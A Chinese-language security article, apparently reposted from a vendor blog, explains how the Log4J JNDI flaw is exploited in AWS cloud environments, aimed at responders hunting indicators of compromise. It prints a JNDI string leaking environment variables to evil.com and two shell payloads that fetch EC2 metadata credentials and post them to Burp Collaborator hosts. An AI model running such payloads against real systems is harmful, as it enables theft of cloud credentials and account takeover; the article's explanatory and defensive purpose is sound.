寫在前面的話-Log4J對云環(huán)境意味著什么？

就在不久之前，Log4J Java庫被爆出了一個關(guān)鍵安全漏洞，該漏洞一經(jīng)曝光，很多安全專家和技術(shù)人員都不得不加班加點去解決這個安全漏洞所帶來的影響。Log4J JNDI漏洞與其說是單個漏洞，不如說是一個通過遠(yuǎn)程代碼執(zhí)行發(fā)起攻擊的平臺。

到目前為止，根據(jù)我們收集到的信息來看，各大廠商的安全事件響應(yīng)人員、安全分析人員和技術(shù)工程師們主要都在通過以下快速響應(yīng)步驟進(jìn)行漏洞的緩解工作：

1、識別受影響的系統(tǒng)并推出發(fā)布程序；

2、迅速修復(fù)憑證安全問題；

3、尋找入侵威脅指標(biāo)IoC；

那么在這篇文章中，我們將主要針對時間響應(yīng)過程中的第三步步驟，即尋找入侵威脅指標(biāo)IoC來進(jìn)行介紹，并跟大家討論Log4J庫的潛在受攻擊風(fēng)險，尤其是在公共云環(huán)境中部署時可能會遇到的安全風(fēng)險。

網(wǎng)絡(luò)攻擊者是如何利用Log4J漏洞的？

Log4J從根本上說是一個注入漏洞，并且可以有兩種途徑來利用該漏洞對目標(biāo)系統(tǒng)執(zhí)行攻擊：

1、通過外部Java類文件實現(xiàn)遠(yuǎn)程代碼執(zhí)行

首先，Log4J日志記錄框架中存在注入漏洞，因此有可能引發(fā)目標(biāo)服務(wù)器向遠(yuǎn)程服務(wù)器發(fā)出HTTP請求，而此時的目標(biāo)服務(wù)器則會希望從遠(yuǎn)程服務(wù)器獲得返回的Java類文件。

其次，當(dāng)攻擊者能夠控制遠(yuǎn)程外部服務(wù)器時，他們就能夠控制響應(yīng)中返回給目標(biāo)服務(wù)器的內(nèi)容。在這種場景下，攻擊者就可以將任意代碼嵌入在Java類文件中，然后返回給目標(biāo)服務(wù)器，并在目標(biāo)服務(wù)器上得到執(zhí)行。

2、通過DNS查詢實現(xiàn)數(shù)據(jù)提取

由于Log4J中存在注入漏洞，將導(dǎo)致目標(biāo)服務(wù)器可以向外部服務(wù)器進(jìn)行出站查詢。當(dāng)攻擊者能夠控制外部服務(wù)器的主機(jī)名時，就會造成環(huán)境變量值發(fā)生泄漏。

樣例如下：

${jndi:ldap://${uname}.${AWS_PROFILE}.evil.com:3489/a}

下圖顯示的是攻擊者發(fā)動Log4J JNDI攻擊的大致流程圖：

Log4J漏洞對云環(huán)境部署有何獨特影響？

根據(jù)研究人員的分析發(fā)現(xiàn)，如果目標(biāo)系統(tǒng)上部署有一個易受攻擊（即存在漏洞）的Log4J庫時，攻擊者就能夠通過DNS查詢機(jī)制并利用數(shù)據(jù)提取技術(shù)來檢索目標(biāo)系統(tǒng)上的任何環(huán)境變量值。比如說，在很多攻擊活動中，我們就發(fā)現(xiàn)攻擊者會利用這種技術(shù)從AWS環(huán)境中提取特定的AWS配置變量和相關(guān)數(shù)據(jù)。

但是，在環(huán)境變量中設(shè)置敏感信息很明顯是一種糟糕的做法，這種場景也不太可能發(fā)生在AWS最大的攻擊面-EC2實例上。

AWS特定的環(huán)境變量可能會設(shè)置在終端節(jié)點上，也就是終端用戶配置awscli的工作站上，或者也有可能在運行時預(yù)先配置變量“AWS_ACCESS_KEY_ID”、“AWS_SECRET_ACCESS_KEY”和“AWS_SESSION_TOKEN”的lambda函數(shù)中。

因此，AWS特定的環(huán)境變量就不太可能在EC2實例中找到了。相反，在AWS EC2實例上運行的應(yīng)用程序?qū)⑹褂梅峙浣oEC2實例的EC2實例配置文件的臨時憑證數(shù)據(jù)。這些臨時憑證數(shù)據(jù)由稱為實例元數(shù)據(jù)服務(wù)（IMDS）的內(nèi)部HTTP節(jié)點頒發(fā)。因此，我們可以使用Log4J漏洞從EC2實例中提取這些憑證數(shù)據(jù)。

使用遠(yuǎn)程代碼執(zhí)行提取實例元數(shù)據(jù)憑證

通過利用Log4J漏洞，網(wǎng)絡(luò)攻擊者可以嘗試從C2實例中提取臨時會話憑證，并對目標(biāo)AWS資源采取進(jìn)一步的攻擊行動。在下面的例子中，我們將演示Payload可能的攻擊路徑：

第一步：注入JNDI Payload，讓目標(biāo)EC2查詢內(nèi)部實例元數(shù)據(jù)API，并獲取EC2運行時使用的IAM角色，然后將角色名稱保存到文件中并返回給攻擊者控制的節(jié)點。

第一個發(fā)送給運行IMDSv1的EC2實例的Payload：

/bin/sh -c 'cd /tmp && curl http://169.254.169.254/latest/meta-data/iam/security-credentials >> /tmp/role && curl -d $(cat /tmp/role) http://34820348230948320948209.burpcollaborator.net'

第二步：拿到角色名稱之后，注入另一個JNDI Payload，并控制目標(biāo)EC2查詢內(nèi)部元數(shù)據(jù)API以獲取一個臨時會話令牌，將令牌保存為文件之后，將文件的內(nèi)容返回給攻擊者控制的節(jié)點。

第二個發(fā)送給運行IMDSv1的EC2實例的Payload：

/bin/sh -c 'cd /tmp && curl http://169.254.169.254/latest/meta-data/iam/security-credentials/kat-JNDI-EC2-Role >> /tmp/token && curl -d @/tmp/token --http1.0 http://8u3xpjnhrq5nrlfmdobut3sztqzin7.burpcollaborator.net'

第三步：向目標(biāo)EC2發(fā)送最后一個Payload，并控制其刪除之前兩步注入操作中創(chuàng)建的臨時文件。

提取的會話令牌的默認(rèn)TTL為1小時。攻擊者可以利用這段時間對AWS資源采取行動，就好像它們是EC2實例一樣，甚至可能執(zhí)行持久性技術(shù)，如創(chuàng)建新用戶或角色，具體的影響完全取決于分配給EC2實例的權(quán)限。

另一種通過Log4J提取IMDS證書的方法

從EC2實例上的實例元數(shù)據(jù)服務(wù)中提取憑據(jù)的潛在方法多種多樣，攻擊者可以利用各種Payload并通過使用HTTP查詢內(nèi)部服務(wù)以檢索憑據(jù)。Payload可以通過如上所述的兩個步驟來傳遞，或者濃縮成一個步驟。可以傳遞一個Payload，讓這個Payload存儲實例元數(shù)據(jù)服務(wù)對環(huán)境變量的響應(yīng)，其中環(huán)境變量的值是通過輔助JNDI注入提取的。在所有可能的變體中，唯一一致的一個步驟是必須向EC2實例上運行的實例元數(shù)據(jù)服務(wù)發(fā)出HTTP請求。

總結(jié)

攻擊EC2實例元數(shù)據(jù)API并不新穎，云安全研究人員也一直在描述和介紹針對這種服務(wù)的濫用行為。這不是一個“新錯誤”，而是Log4J漏洞對云計算影響的新表述。雖然這篇文章專門針對針對AWS環(huán)境的威脅，但所有相同的原則在任何GCP或Azure環(huán)境中都適用。

參考鏈接

https://www.vectra.ai/blog/log4j-unique-impact-in-the-cloud

本文作者：Alpha_h4ck， 轉(zhuǎn)載請注明來自FreeBuf.COM